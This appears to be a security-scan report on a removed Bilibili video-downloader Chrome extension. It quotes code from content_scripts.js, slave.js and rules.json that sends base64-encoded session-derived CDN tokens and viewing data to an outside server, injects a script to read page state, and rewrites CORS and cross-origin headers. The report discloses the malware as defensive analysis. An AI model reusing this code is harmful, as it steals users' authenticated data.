哔哩哔哩bilibili影片下載工具

ID: adkpffmlkncmmimpnmogphiijidakdhm

Could be malicious

Supported Languages

🇹🇼Chinese (Traditional)

Extension Info & Metadata

Status
Removed
Version
2.2.0.3
Size
0.29 MB
Rating
4.9/5
Reviews
2,343
Users
149,845
Type
Extension
Updated
Nov 21, 2023
Category
Productivity Workflow
Price
Free
Featured
No
Visibility
Listed
Mature
No
By Google
No
Trusted
No

Publisher Contextual Analysis

Author
htconem81999hk67234View Profile
MX records exist
Yes
Domain exists
Yes
Is disposable
No
Is role-based
No
Mailbox exists
Yes
Total Extensions
2
Active
0
Obsolete
2
Listed
2
Unlisted
0
Total Users
149,920

bilibili又名哔哩哔哩與嗶哩嗶哩甚至簡稱為B站,而哔哩哔哩bilibili影片下載工具提供你免費快速下載B站上的資源,其功能包含了動漫(番剧)、影片(視頻)與音樂(音頻)等資源的下載

**************************************************** 2023.07.31: 1. 支援最高8K 解析度下載 (依照B站自身會員權限)。 2. 支援音訊單獨下載。 3. 全面支持MP4 影音格式。 4. 加入Dolby 音訊智慧判斷 。 5. 依舊保持免費使用。 變更日誌: 版本:2.2.6 刪除下載視頻時的廣告,修復擴展因廣告攔截器而無法工作的問題。 版本:2.2.5 增加在推特、領英等社交網站分享視頻鏈接的功能,尤其是臉書,可以通過Api post自動分享鏈接。 **************************************************** 簡單直覺式的操作,讓你輕鬆且快速的下載B站的資源。 注意:為了使視頻下載鏈接生成正常工作,請禁用默認的廣告攔截器和瀏覽器廣告攔截擴展程序。 開發目的: 為了讓網路品質較差或是無法自在使用網路的B站愛好者們,可以將bilibili上的影片及音樂先行下載下來,在沒有網路時可以以本地檔案播放的方式做觀看及收聽,或者在網路品質較差的情況下可以以本地檔案播放的方式獲得最佳的觀賞品質。 免責聲明: 請勿將下載後的檔案做二次修改、發布、重製、上傳等違法行為,若你有使用上的需要,請自行連絡該等影片、音樂擁有者,並取得合法的使用授權。本工具將不負責使用者對於下載的檔案之後續利用及使用行為,你也清楚且同意,若你將下載後的檔案使用於非法用途,所有法律及賠償責任將由你自行負責、承擔,與本工具及開發者無關。

Item
Type
Severity
Description
declarativeNetRequest
Permission
Critical
This permission allows the extension to define rules to block, redirect, or modify network requests. Rated Critical because it can control all network traffic, potentially blocking security updates or redirecting to malicious sites.
<all_urls>
Host
Critical
Broad host access — the extension can read/modify content on every website.
Broad Host Permissions
Risk Factor
High
This extension has broad host permissions allowing it to access many or all websites.
declarativeNetRequestFeedback
Permission
Medium
This permission provides network request modification logs. Rated Medium because it can monitor network request changes and debug traffic modifications.

The extension POSTs base64-encoded media metadata (including video IDs, CDN URLs with authentication tokens, user session data, and watch history) to a third-party server at extension-api.y-w-y.com. This is the core data exfiltration mechanism — the function is called `ywy_api` and labeled `post-token`, strongly suggesting it is capturing authenticated session tokens or video access tokens from the user's Bilibili account and transmitting them to an external operator-controlled server.

content_scripts.js (Line 8)
function ywy_api(e) {  return new Promise((function(t, o) {    let n = new XMLHttpRequest;    n.open("POST", "https://extension-api.y-w-y.com/post-token", !0), n.setRequestHeader("Content-type",      "application/x-www-form-urlencoded"), n.onload = function() {      let e = n.responseText;      t(e)    }, n.onerror = function() {      t("err")    }, n.onabort = function() {      t("err")    }, n.send(String(e))  }))}

The extension serializes full video metadata including CDN download URLs (which contain authenticated access tokens for Bilibili's CDN servers), encodes it in base64, and sends it to the operator's server via ywy_api. These CDN URLs (video_uri, audio_uri from bilivideo.com/acgvideo.com) are time-limited signed tokens — transmitting them to a third-party server allows that operator to download the user's authenticated content streams and track what every user watches.

content_scripts.js (Line 238)
let i = {    aid: media_info.aid,    cid: media_info.cid,    bvid: media_info.bvid,    title_mother: media_info.title_mother,    title_child: media_info.title_child,    epsiode: media_info.epsiode,    picture: media_info.picture,    url: media_info.url,    download_info: {      media_download_data_object: o    },    type: "video",    quality: e  },  a = JSON.stringify(i),  d = await ywy_api(ywy_base64_encode(a));

All Bilibili API requests are made with `withCredentials: true`, meaning the user's Bilibili session cookies are automatically included. Combined with the data exfiltration to y-w-y.com, this means the extension obtains authenticated API responses (including signed CDN streaming tokens tied to the user's account) and then ships that data to the operator's server, effectively harvesting authenticated session-derived tokens for every user interaction.

content_scripts.js (Line 87)
n.open("GET",  `https://api.bilibili.com/x/player/playurl?bvid=${t}&cid=${e}&qn=${o}&type=&otype=json&fnver=0&fnval=4048&fourk=1`,  !0), a.withCredentials = !0

The content script dynamically injects `slave.js` into the page DOM at runtime by appending a script element. This gives the injected script access to the page's JavaScript execution context (including `window.__INITIAL_STATE__`, `window.vd`, `$pbp`, and `__NEXT_DATA__`), which the extension uses to extract internal session state. While the file is bundled with the extension, this injection pattern circumvents content script isolation and is a classic privilege escalation technique.

content_scripts.js (Line 57)
function ywy_slave_inject() {  let e = document.createElement("script");  e.type = "text/javascript", e.id = "ywy_slave_inject", e.src = chrome.runtime.getURL("slave.js"), document.body    .appendChild(e)}

Rules 21 and 22 use `urlFilter: "|https*"` which matches ALL HTTPS URLs — not just Bilibili CDN domains — and removes CORP/COEP security headers from ALL responses when the initiating domain is y-w-y.com. This systematically strips cross-origin isolation protections from every response seen by the operator's server, enabling the operator's site to embed and read authenticated cross-origin resources that would otherwise be blocked by browser security policies.

rules.json (Line 427)
[  {    "id": 21,    "priority": 1,    "action": {      "type": "modifyHeaders",      "responseHeaders": [        {          "header": "Cross-Origin-Resource-Policy",          "operation": "set",          "value": "cross-origin"        }      ]    },    "condition": {      "urlFilter": "|https*",      "initiatorDomains": [        "y-w-y.com"      ]    }  },  {    "id": 22,    "priority": 1,    "action": {      "type": "modifyHeaders",      "responseHeaders": [        {          "header": "Cross-Origin-Embedder-Policy",          "operation": "set",          "value": "credentialless"        }      ]    },    "condition": {      "urlFilter": "|https*",      "initiatorDomains": [        "y-w-y.com"      ]    }  }]

The extension uses declarativeNetRequest to override CORS headers on Bilibili CDN responses (bilivideo.com, acgvideo.com, akamaized.net, hdslb.com) to `access-control-allow-origin: *`. This allows the operator's website (y-w-y.com) to directly fetch the user's authenticated video streams cross-origin — streams that would otherwise be blocked. This is combined with forged Referer and Origin headers to bypass Bilibili's hotlink protection, giving the operator access to authenticated content streams without the user's knowledge.

rules.json (Line 43)
{  "id": 3,  "priority": 1,  "action": {    "type": "modifyHeaders",    "responseHeaders": [      {        "header": "access-control-allow-origin",        "operation": "set",        "value": "*"      }    ]  },  "condition": {    "urlFilter": "||bilivideo.com",    "initiatorDomains": [      "y-w-y.com"    ]  }}

The slave.js script, injected directly into the page context, reads internal page state from `window.__INITIAL_STATE__`, `window.vd`, and `__NEXT_DATA__` — Bilibili's internal JavaScript state objects that contain authenticated session data, episode metadata, and user-specific information not available to content scripts. It harvests this data and passes it to the content script via a custom DOM event, acting as a privilege bridge between the isolated content script context and the full page context.

slave.js (Line 79)
let n = {  aid: window.vd.aid,  cid: window.vd.cid,  bvid: window.vd.bvid,  title_mother: ywyJsonReservedCharactersFixer(__INITIAL_STATE__.videoData.title),  title_child: ywyJsonReservedCharactersFixer(i),  epsiode: e,  picture: __INITIAL_STATE__.videoData.pic.replace("http://", "https://"),  url: window.location.href.split("?")[0]};let o = new CustomEvent("ywy_meow", {  detail: n});document.dispatchEvent(o)

By severity

Critical2
High4
Medium1
Low0

Versions scanned

Showing 1 of 24 scanned versions with more than one unique finding. Counts are unique findings that include each version.

Extension VersionCode Review Findings
2.2.0.37

Files with findings

3 distinct paths — top paths by unique finding count:

  • content_scripts.js4
  • rules.json2
  • slave.js1
S.No.
Category
Severity
File
Summary
Found in Version
1Data Exfiltration
critical
content_scripts.js (line 8)The extension POSTs base64-encoded media metadata (including video IDs, CDN URLs with authentication tokens, user session data, and watch history) to a third-party server at extension-api.y-w-y.com. This is the core d…
2Unauthorized Data Collection
critical
content_scripts.js (line 238)The extension serializes full video metadata including CDN download URLs (which contain authenticated access tokens for Bilibili's CDN servers), encodes it in base64, and sends it to the operator's server via ywy_api.…
3Credential Theft
high
content_scripts.js (line 87)All Bilibili API requests are made with `withCredentials: true`, meaning the user's Bilibili session cookies are automatically included. Combined with the data exfiltration to y-w-y.com, this means the extension obtai…
4Network Interception
high
rules.json (line 427)Rules 21 and 22 use `urlFilter: "|https*"` which matches ALL HTTPS URLs — not just Bilibili CDN domains — and removes CORP/COEP security headers from ALL responses when the initiating domain is y-w-y.com. This systema…
5Network Interception
high
rules.json (line 43)The extension uses declarativeNetRequest to override CORS headers on Bilibili CDN responses (bilivideo.com, acgvideo.com, akamaized.net, hdslb.com) to `access-control-allow-origin: *`. This allows the operator's websi…
6Privilege Escalation
high
content_scripts.js (line 57)The content script dynamically injects `slave.js` into the page DOM at runtime by appending a script element. This gives the injected script access to the page's JavaScript execution context (including `window.__INITI…
7Unauthorized Data Collection
medium
slave.js (line 79)The slave.js script, injected directly into the page context, reads internal page state from `window.__INITIAL_STATE__`, `window.vd`, and `__NEXT_DATA__` — Bilibili's internal JavaScript state objects that contain aut…
URLs
28
IPv4
1
IPv6
0

URLs

View the external URLs this extension communicates with to understand its network activity and data interactions.

Gain full insight into all external connections.

Upgrade for full visibility.

github.com/yahoo/pure/blob/master/LICENSE.mdhttps://github.com/yahoo/pure/blob/master/LICENSE.md
bit.ly/2DJ3X7Ghttp://bit.ly/2DJ3X7G
bit.ly/2LQNqiUhttps://bit.ly/2LQNqiU
potplayer.daum.net-https://potplayer.daum.net/?lang=zh_TW
bit.ly/2D4jFfuhttps://bit.ly/2D4jFfu
youtu.be/_y-yuHy-lm8https://youtu.be/_y-yuHy-lm8
www.w3.org/1999/02/22-rdf-syntax-nshttp://www.w3.org/1999/02/22-rdf-syntax-ns#
ns.adobe.com/xap/1.0/http://ns.adobe.com/xap/1.0/
ns.adobe.com/xap/1.0/mm/http://ns.adobe.com/xap/1.0/mm/
ns.adobe.com/xap/1.0/sType/ResourceEventhttp://ns.adobe.com/xap/1.0/sType/ResourceEvent#
Showing 1 to 10 of 30 rows
Rows per page:

Gain full insight into all external connections.

Upgrade for full visibility.

2.2.0.3
IPv4
-
Showing 1 to 10 of 30 rows
Rows per page:

Code Diff

Compare extension code between any two versions.

0 changed files (scanned top 25 shared text files)

No comparable text files found between these versions.

Browse and explore files within this extension package

Gain full insight into all external connections.

Upgrade for full visibility.